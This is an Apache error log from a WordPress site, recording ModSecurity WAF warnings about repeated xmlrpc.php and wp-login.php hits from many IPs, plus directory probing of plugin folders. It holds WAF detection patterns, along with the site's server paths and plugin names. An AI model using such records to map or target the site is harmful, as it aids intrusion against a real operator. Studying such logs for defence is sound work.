[Thu Apr 30 13:28:32.820577 2026] [:error] [pid 52350:tid 52364] [client 37.77.129.19:46270] [client 37.77.129.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.77.129.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLogP1j4GHE9hm7bfeDPgAAAQY"]
[Thu Apr 30 13:38:03.443618 2026] [:error] [pid 18112:tid 18171] [client 46.225.100.56:38350] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLquyUrJv3y8j6Lm1v0XwAAAFU"]
[Thu Apr 30 13:39:37.055710 2026] [:error] [pid 18111:tid 18124] [client 161.35.70.183:42320] [client 161.35.70.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.70.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLrGWctLbxB7Q1_oK0ItAAAAAI"]
[Thu Apr 30 13:42:20.765600 2026] [:error] [pid 18220:tid 18228] [client 138.199.146.196:50002] [client 138.199.146.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.146.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLrvMyESVSfAPebmxYkkgAAAMU"]
[Thu Apr 30 13:49:42.301528 2026] [:error] [pid 53641:tid 53672] [client 155.133.138.66:55390] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLtdmC119wja3QGeAHDYAAAAZQ"]
[Thu Apr 30 13:53:30.979755 2026] [:error] [pid 18111:tid 18128] [client 137.184.25.215:45314] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLuWmctLbxB7Q1_oK0RbQAAAAY"]
[Thu Apr 30 13:54:44.748362 2026] [:error] [pid 53641:tid 53658] [client 5.42.124.21:56030] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLupGC119wja3QGeAHFZQAAAYY"]
[Thu Apr 30 13:59:59.793912 2026] [:error] [pid 52350:tid 52359] [client 51.210.113.223:33252] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLv3_1j4GHE9hm7bfeIKAAAAQI"]
[Thu Apr 30 14:05:15.449605 2026] [:error] [pid 53641:tid 53677] [client 185.248.100.157:52790] [client 185.248.100.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.248.100.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLxG2C119wja3QGeAHIxwAAAZg"]
[Thu Apr 30 14:05:48.391509 2026] [:error] [pid 52350:tid 52364] [client 103.85.84.51:38448] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLxPP1j4GHE9hm7bfeIgQAAAQY"]
[Thu Apr 30 14:06:15.786768 2026] [:error] [pid 18111:tid 18127] [client 163.61.60.30:60048] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLxV2ctLbxB7Q1_oK0TowAAAAU"]
[Thu Apr 30 14:09:21.968925 2026] [:error] [pid 52436:tid 52446] [client 161.35.14.71:35332] [client 161.35.14.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.14.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLyEQLFWPk_P7AfE8cfcgAAAUc"]
[Thu Apr 30 14:10:40.469348 2026] [:error] [pid 53641:tid 53651] [client 205.185.118.243:60594] [client 205.185.118.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afLyYGC119wja3QGeAHJdQAAAYE"]
[Thu Apr 30 14:10:41.636363 2026] [:error] [pid 53641:tid 53660] [client 205.185.118.243:60594] [client 205.185.118.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afLyYWC119wja3QGeAHJegAAAYg"]
[Thu Apr 30 14:12:20.428339 2026] [:error] [pid 52436:tid 52446] [client 147.93.157.194:40956] [client 147.93.157.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.157.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLyxALFWPk_P7AfE8cf7QAAAUc"]
[Thu Apr 30 14:15:38.348920 2026] [:error] [pid 53641:tid 53673] [client 146.190.155.17:58958] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLzimC119wja3QGeAHLIQAAAZU"]
[Thu Apr 30 14:17:31.094042 2026] [:error] [pid 53641:tid 53669] [client 121.170.188.114:56812] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLz-2C119wja3QGeAHLdwAAAZE"]
[Thu Apr 30 14:19:01.992552 2026] [:error] [pid 52350:tid 52380] [client 128.140.11.209:34056] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL0Vf1j4GHE9hm7bfeJ3gAAARY"]
[Thu Apr 30 14:21:59.839591 2026] [:error] [pid 52436:tid 52443] [client 23.239.25.95:39262] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL1BwLFWPk_P7AfE8cg1wAAAUQ"]
[Thu Apr 30 14:31:41.045963 2026] [:error] [pid 53641:tid 53651] [client 137.184.25.215:57046] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL3TWC119wja3QGeAHP5wAAAYE"]
[Thu Apr 30 14:32:40.964127 2026] [:error] [pid 18111:tid 18134] [client 163.61.60.30:50658] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL3iGctLbxB7Q1_oK0YJwAAAAw"]
[Thu Apr 30 14:35:05.800938 2026] [:error] [pid 53641:tid 53651] [client 106.221.157.221:29824] [client 106.221.157.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.221.157.221, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL4GWC119wja3QGeAHRNwAAAYE"]
[Thu Apr 30 14:35:15.887776 2026] [:error] [pid 53641:tid 53652] [client 106.221.157.221:29766] [client 106.221.157.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.221.157.221, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL4I2C119wja3QGeAHRPQAAAYI"]
[Thu Apr 30 14:35:26.335540 2026] [:error] [pid 18112:tid 18173] [client 106.221.157.221:30048] [client 106.221.157.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.221.157.221, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL4LiUrJv3y8j6Lm1v-5QAAAFc"]
[Thu Apr 30 14:35:38.708625 2026] [:error] [pid 53641:tid 53674] [client 106.221.157.221:29997] [client 106.221.157.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.221.157.221, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL4OmC119wja3QGeAHRRwAAAZY"]
[Thu Apr 30 14:35:47.420635 2026] [:error] [pid 53641:tid 53666] [client 106.221.157.221:29978] [client 106.221.157.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.221.157.221, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL4Q2C119wja3QGeAHRUgAAAY4"]
[Thu Apr 30 14:40:07.564712 2026] [:error] [pid 52350:tid 52377] [client 34.185.143.187:50002] [client 34.185.143.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.185.143.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL5R_1j4GHE9hm7bfeM7AAAARM"]
[Thu Apr 30 14:40:36.524907 2026] [:error] [pid 52350:tid 52361] [client 147.93.157.194:46784] [client 147.93.157.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.157.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL5ZP1j4GHE9hm7bfeM-wAAAQM"]
[Thu Apr 30 14:48:18.558571 2026] [:error] [pid 52350:tid 52367] [client 82.223.70.218:45264] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL7Mv1j4GHE9hm7bfeNzwAAAQk"]
[Thu Apr 30 14:50:17.390288 2026] [:error] [pid 53641:tid 53662] [client 195.142.136.26:52456] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL7qWC119wja3QGeAHUSQAAAYo"]
[Thu Apr 30 14:51:52.586790 2026] [:error] [pid 18111:tid 18127] [client 185.108.129.81:55682] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL8CGctLbxB7Q1_oK0bPwAAAAU"]
[Thu Apr 30 14:52:01.441803 2026] [:error] [pid 18113:tid 18184] [client 35.226.125.165:52188] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL8EXiIjwsVGkvz5ImCLwAAAIc"]
[Thu Apr 30 14:52:36.653648 2026] [:error] [pid 18111:tid 18135] [client 35.226.125.165:60492] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL8NGctLbxB7Q1_oK0bjgAAAA0"]
[Thu Apr 30 14:53:13.774869 2026] [:error] [pid 18113:tid 18196] [client 157.66.144.11:59774] [client 157.66.144.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.144.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL8WXiIjwsVGkvz5ImCPAAAAJM"]
[Thu Apr 30 14:54:44.051867 2026] [:error] [pid 53641:tid 53670] [client 161.35.70.183:33880] [client 161.35.70.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.70.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL8tGC119wja3QGeAHU-gAAAZI"]
[Thu Apr 30 15:07:34.105162 2026] [:error] [pid 18220:tid 18247] [client 64.92.9.212:55204] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL_tsyESVSfAPebmxYuCgAAANg"]
[Thu Apr 30 15:08:02.098747 2026] [:error] [pid 52436:tid 52453] [client 217.70.186.133:4561] [client 217.70.186.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.70.186.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL_0gLFWPk_P7AfE8ck0gAAAU4"]
[Thu Apr 30 15:08:19.696728 2026] [:error] [pid 53641:tid 53667] [client 54.38.195.241:54698] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afL_42C119wja3QGeAHXggAAAY8"]
[Thu Apr 30 15:10:00.753838 2026] [:error] [pid 53641:tid 53654] [client 51.210.113.223:45516] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMASGC119wja3QGeAHXtQAAAYM"]
[Thu Apr 30 15:15:28.956484 2026] [:error] [pid 53641:tid 53657] [client 212.47.74.48:39698] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMBkGC119wja3QGeAHZ2gAAAYU"]
[Thu Apr 30 15:17:38.801888 2026] [:error] [pid 18112:tid 18174] [client 157.245.154.48:53346] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.154.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMCEiUrJv3y8j6Lm1sFAgAAAFg"]
[Thu Apr 30 15:17:48.791576 2026] [:error] [pid 53641:tid 53663] [client 77.95.113.65:54024] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMCHGC119wja3QGeAHbcgAAAYs"]
[Thu Apr 30 15:18:09.371739 2026] [:error] [pid 18220:tid 18227] [client 157.245.242.100:32468] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMCMcyESVSfAPebmxYvIwAAAMQ"]
[Thu Apr 30 15:19:09.895247 2026] [autoindex:error] [pid 18112:tid 18160] [client 168.144.67.49:38076] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Thu Apr 30 15:19:12.035646 2026] [autoindex:error] [pid 18112:tid 18171] [client 168.144.67.49:38076] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Thu Apr 30 15:19:15.801396 2026] [autoindex:error] [pid 18112:tid 18154] [client 168.144.67.49:38076] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Thu Apr 30 15:19:17.941942 2026] [autoindex:error] [pid 18112:tid 18157] [client 168.144.67.49:38076] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Thu Apr 30 15:19:21.661051 2026] [:error] [pid 53641:tid 53665] [client 121.200.216.12:45432] [client 121.200.216.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMCeWC119wja3QGeAHcCwAAAY0"]
[Thu Apr 30 15:21:48.302641 2026] [:error] [pid 53641:tid 53658] [client 212.125.4.206:39682] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMDDGC119wja3QGeAHdAAAAAYY"]
[Thu Apr 30 15:24:42.485968 2026] [:error] [pid 52350:tid 52368] [client 194.164.166.170:38484] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMDuv1j4GHE9hm7bfeRvQAAAQo"]
[Thu Apr 30 15:25:40.525139 2026] [:error] [pid 18220:tid 18230] [client 157.245.154.48:52612] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.154.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMD9MyESVSfAPebmxYwAQAAAMc"]
[Thu Apr 30 15:33:45.873964 2026] [:error] [pid 18111:tid 18145] [client 161.35.14.71:47586] [client 161.35.14.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.14.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMF2WctLbxB7Q1_oK0keAAAABc"]
[Thu Apr 30 15:36:19.590158 2026] [:error] [pid 18112:tid 18174] [client 128.199.223.38:43688] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMGcyUrJv3y8j6Lm1sHvwAAAFg"]
[Thu Apr 30 15:36:19.591746 2026] [:error] [pid 18112:tid 18174] [client 128.199.223.38:43688] [client 128.199.223.38] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMGcyUrJv3y8j6Lm1sHvwAAAFg"]
[Thu Apr 30 15:36:19.592868 2026] [:error] [pid 18112:tid 18174] [client 128.199.223.38:43688] [client 128.199.223.38] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMGcyUrJv3y8j6Lm1sHvwAAAFg"]
[Thu Apr 30 15:36:20.835942 2026] [:error] [pid 52436:tid 52463] [client 80.66.213.216:42026] [client 80.66.213.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.66.213.216, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMGdALFWPk_P7AfE8cnSwAAAVg"]
[Thu Apr 30 15:40:04.846323 2026] [:error] [pid 18111:tid 18133] [client 103.39.132.40:41128] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMHVGctLbxB7Q1_oK0l6gAAAAs"]
